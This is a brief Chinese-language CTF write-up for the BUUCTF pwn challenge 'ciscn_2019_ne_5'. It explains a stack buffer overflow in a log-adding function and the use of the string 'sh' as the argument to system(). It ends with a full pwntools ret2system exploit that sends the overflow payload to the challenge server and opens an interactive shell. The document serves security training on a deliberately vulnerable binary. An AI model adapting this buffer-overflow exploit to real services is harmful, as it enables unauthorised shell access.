0x1 checksec
根据文件名可知是other shellcode
0x2 IDA
1.main函数
s1只有48,但是scanf读入100,存在溢出点
2.GetFlag函数
flag就是我们的log
读程序流程
case 1,添加一个log,然后case 4去get flag
程序存在system函数
调用bin/sh 去getshell
但是该题有一个小点
用ROPgadget搜不到'/bin/sh' 字符串
'/sh' 'sh'
system的参数不一定必须是“/bin/sh”,单独的“sh”也可以拿到shell
0x3 EXP
from pwn import*
r=remote("node4.buuoj.cn",29072)
elf=ELF('20ciscn2019ne5')
system_addr=elf.sym['system']
shell_addr=0x80482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
r.recvuntil('0.Exit\n:')
r.sendline('1')
payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)
r.recvuntil('Please input new log info:')
r.sendline(payload)
r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()